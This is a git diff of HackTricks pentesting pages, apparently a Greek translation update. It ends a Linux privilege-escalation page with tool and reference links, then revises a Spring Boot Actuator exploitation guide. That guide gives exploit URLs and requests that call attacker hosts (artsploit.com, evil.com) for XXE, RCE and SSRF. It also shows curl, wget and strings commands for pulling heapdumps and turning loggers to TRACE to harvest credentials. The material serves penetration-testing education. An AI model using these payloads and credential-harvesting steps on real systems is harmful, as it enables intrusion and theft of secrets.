[www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Εντοπίζει ευπάθειες πυρήνα σε linux και MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## Αναφορές +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1476,6 +1478,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 9a72d1759..e3cba5034 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,31 @@
-**Από** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## Εκμετάλλευση Spring Boot Actuators -**Ελέγξτε την αρχική ανάρτηση από** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Δείτε το πρωτότυπο άρθρο στο** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] -### **Βασικά Σημεία:** +### **Κύρια Σημεία:** -- Οι Spring Boot Actuators καταχωρούν endpoints όπως `/health`, `/trace`, `/beans`, `/env`, κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς αυθεντικοποίηση. Από την έκδοση 1.5 και μετά, μόνο τα `/health` και `/info` είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτή την ασφάλεια. -- Ορισμένα endpoints Actuator μπορεί να εκθέσουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες: +- Spring Boot Actuators καταγράφουν endpoints όπως `/health`, `/trace`, `/beans`, `/env`, κ.λπ. Σε εκδόσεις 1 έως 1.4, αυτά τα endpoints είναι προσβάσιμα χωρίς έλεγχο ταυτότητας. Από την έκδοση 1.5 και μετά, μόνο τα `/health` και `/info` είναι μη ευαίσθητα από προεπιλογή, αλλά οι προγραμματιστές συχνά απενεργοποιούν αυτή την προστασία. +- Ορισμένα endpoints των Actuator μπορούν να αποκαλύψουν ευαίσθητα δεδομένα ή να επιτρέψουν επιβλαβείς ενέργειες: - `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, και `/heapdump`. -- Στο Spring Boot 1.x, οι actuators καταχωρούνται κάτω από τη ρίζα URL, ενώ στο 2.x, είναι κάτω από τη βασική διαδρομή `/actuator/`. +- Σε Spring Boot 1.x, οι actuators καταχωρούνται κάτω από το root URL, ενώ σε 2.x βρίσκονται κάτω από τη βάση `/actuator/`. ### **Τεχνικές Εκμετάλλευσης:** -1. **Απομακρυσμένη Εκτέλεση Κώδικα μέσω '/jolokia'**: -- Το endpoint `/jolokia` εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει HTTP πρόσβαση σε MBeans. -- Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί για να επαναφορτώσει τις ρυθμίσεις καταγραφής από μια εξωτερική διεύθυνση URL, κάτι που μπορεί να οδηγήσει σε τυφλό XXE ή απομακρυσμένη εκτέλεση κώδικα μέσω κατασκευασμένων XML ρυθμίσεων. -- Παράδειγμα URL εκμετάλλευσης: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -2. **Τροποποίηση Ρυθμίσεων μέσω '/env'**: +1. **Remote Code Execution via '/jolokia'**: +- Το endpoint `/jolokia` των Actuator εκθέτει τη βιβλιοθήκη Jolokia, η οποία επιτρέπει πρόσβαση σε MBeans μέσω HTTP. +- Η ενέργεια `reloadByURL` μπορεί να εκμεταλλευτεί ώστε να φορτώσει ξανά ρυθμίσεις logging από εξωτερικό URL, κάτι που μπορεί να οδηγήσει σε blind XXE ή Remote Code Execution μέσω κακόβουλα κατασκευασμένων XML ρυθμίσεων. +- Παράδειγμα exploit URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. -- Εάν υπάρχουν βιβλιοθήκες Spring Cloud, το endpoint `/env` επιτρέπει την τροποποίηση των περιβαλλοντικών ιδιοτήτων. -- Οι ιδιότητες μπορούν να χειραγωγηθούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσυμπίεσης XStream στην υπηρεσία Eureka serviceURL. -- Παράδειγμα POST αίτησης εκμετάλλευσης: +2. **Config Modification via '/env'**: + +- Εάν υπάρχουν οι Spring Cloud Libraries, το endpoint `/env` επιτρέπει την τροποποίηση των περιβαλλοντικών ιδιοτήτων. +- Οι ιδιότητες μπορούν να χειραγωγηθούν για να εκμεταλλευτούν ευπάθειες, όπως η ευπάθεια αποσειριοποίησης XStream στο Eureka serviceURL. +- Παράδειγμα exploit POST αιτήματος: ``` POST /env HTTP/1.1 @@ -41,24 +42,100 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Άλλες Χρήσιμες Ρυθμίσεις**: -- Ιδιότητες όπως `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, και `spring.datasource.tomcat.max-active` μπορούν να χειραγωγηθούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή τροποποίηση συμβολοσειρών σύνδεσης βάσης δεδομένων. +- Ιδιότητες όπως `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, και `spring.datasource.tomcat.max-active` μπορούν να τροποποιηθούν για διάφορες εκμεταλλεύσεις, όπως SQL injection ή αλλαγή των connection strings της βάσης δεδομένων. ### **Επιπλέον Πληροφορίες:** -- Μια ολοκληρωμένη λίστα με τους προεπιλεγμένους actuators μπορεί να βρεθεί [εδώ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). -- Το endpoint `/env` στο Spring Boot 2.x χρησιμοποιεί μορφή JSON για την τροποποίηση ιδιοτήτων, αλλά η γενική έννοια παραμένει η ίδια. +- Μία ολοκληρωμένη λίστα των default actuators βρίσκεται [εδώ](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt). +- Το endpoint `/env` στο Spring Boot 2.x χρησιμοποιεί JSON μορφή για την τροποποίηση ιδιοτήτων, αλλά η γενική ιδέα παραμένει ίδια. ### **Σχετικά Θέματα:** 1. **Env + H2 RCE**: -- Λεπτομέρειες σχετικά με την εκμετάλλευση του συνδυασμού του endpoint `/env` και της βάσης δεδομένων H2 μπορούν να βρεθούν [εδώ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). +- Λεπτομέρειες για την εκμετάλλευση του συνδυασμού του endpoint `/env` και της βάσης H2 βρίσκονται [εδώ](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database). -2. **SSRF στο Spring Boot μέσω Λάθους Ερμηνείας Διαδρομής**: -- Η διαχείριση παραμέτρων μήτρας (`;`) από το πλαίσιο Spring σε διαδρομές HTTP μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF). -- Παράδειγμα αίτησης εκμετάλλευσης: +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +- Ο τρόπος με τον οποίο το Spring framework χειρίζεται matrix parameters (`;`) σε HTTP pathnames μπορεί να εκμεταλλευτεί για Server-Side Request Forgery (SSRF). +- Παράδειγμα αιτήματος εκμετάλλευσης: ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` +## HeapDump secrets mining (credentials, tokens, internal URLs) + +Αν το `/actuator/heapdump` είναι εκτεθειμένο, συνήθως μπορείτε να κατεβάσετε ένα πλήρες JVM heap snapshot που συχνά περιέχει live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, κ.λπ.). + +- Download and quick triage: +```bash +wget http://target/actuator/heapdump -O heapdump +# Quick wins: look for HTTP auth and JDBC +strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client' +# Decode any Basic credentials you find +printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d +``` + +- Deeper analysis with VisualVM and OQL: +- Ανοίξτε το heapdump στο VisualVM, ελέγξτε instances του `java.lang.String` ή εκτελέστε OQL για να εντοπίσετε secrets: +``` +select s.toString() +from java.lang.String s +where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString()) +``` + +- Automated extraction with JDumpSpider: +```bash +java -jar JDumpSpider-*.jar heapdump +``` +Τυπικά ευρήματα υψηλής αξίας: +- Spring `DataSourceProperties` / `HikariDataSource` αντικείμενα που εκθέτουν `url`, `username`, `password`. +- `OriginTrackedMapPropertySource` entries που αποκαλύπτουν `management.endpoints.web.exposure.include`, service ports και ενσωματωμένο Basic-Auth σε URLs (π.χ. Eureka `defaultZone`). +- Τμήματα HTTP request/response σε plain text που περιλαμβάνουν `Authorization: Basic ...` και έχουν καταγραφεί στη μνήμη. + +Tips: +- Χρησιμοποιήστε ένα Spring-focused wordlist για να ανακαλύψετε γρήγορα actuator endpoints (π.χ., SecLists spring-boot.txt) και ελέγξτε πάντα αν τα `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` και `/actuator/configprops` είναι επίσης εκτεθειμένα. +- Τα credentials από heapdump συχνά δουλεύουν και για γειτονικές υπηρεσίες και μερικές φορές για system users (SSH), οπότε δοκιμάστε τα ευρέως. + + +## Abusing Actuator loggers/logging to capture credentials + +Αν το `management.endpoints.web.exposure.include` το επιτρέπει και το `/actuator/loggers` είναι εκτεθειμένο, μπορείτε δυναμικά να αυξήσετε τα επίπεδα καταγραφής σε DEBUG/TRACE για πακέτα που χειρίζονται authentication και request processing. Σε συνδυασμό με αναγνώσιμα logs (μέσω `/actuator/logfile` ή γνωστών log paths), αυτό μπορεί να αποκαλύψει credentials που υποβάλλονται κατά τη ροή login (π.χ., Basic-Auth headers ή form parameters). + +- Enumerate and crank up sensitive loggers: +```bash +# List available loggers +curl -s http://target/actuator/loggers | jq . + +# Enable very verbose logs for security/web stacks (adjust as needed) +curl -s -X POST http://target/actuator/loggers/org.springframework.security \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.web \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \ +-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}' +``` + +- Find where logs are written and harvest: +```bash +# If exposed, read from Actuator directly +curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password=' + +# Otherwise, query env/config to locate file path +curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))' +``` + +- Προκαλέστε login/authentication traffic και αναλύστε το log για creds. Σε microservice setups με gateway που μπροστάρει το auth, η ενεργοποίηση TRACE για gateway/security πακέτα συχνά κάνει εμφανή headers και σώματα φορμών. Κάποια περιβάλλοντα παράγουν ακόμη και συνθετική login κίνηση περιοδικά, κάνοντας τη συλλογή trivial μόλις η καταγραφή γίνει verbose. + +Notes: +- Επαναφέρετε τα επίπεδα log όταν τελειώσετε: `POST /actuator/loggers/` με `{ "configuredLevel": null }`. +- Αν το `/actuator/httpexchanges` είναι εκτεθειμένο, μπορεί επίσης να εμφανίσει πρόσφατα request metadata που μπορεί να περιλαμβάνει ευαίσθητα headers. + + +## References + +- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations) +- [VisualVM](https://visualvm.github.io/) +- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider) +- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) + {{#include ../../banners/hacktricks-training.md}}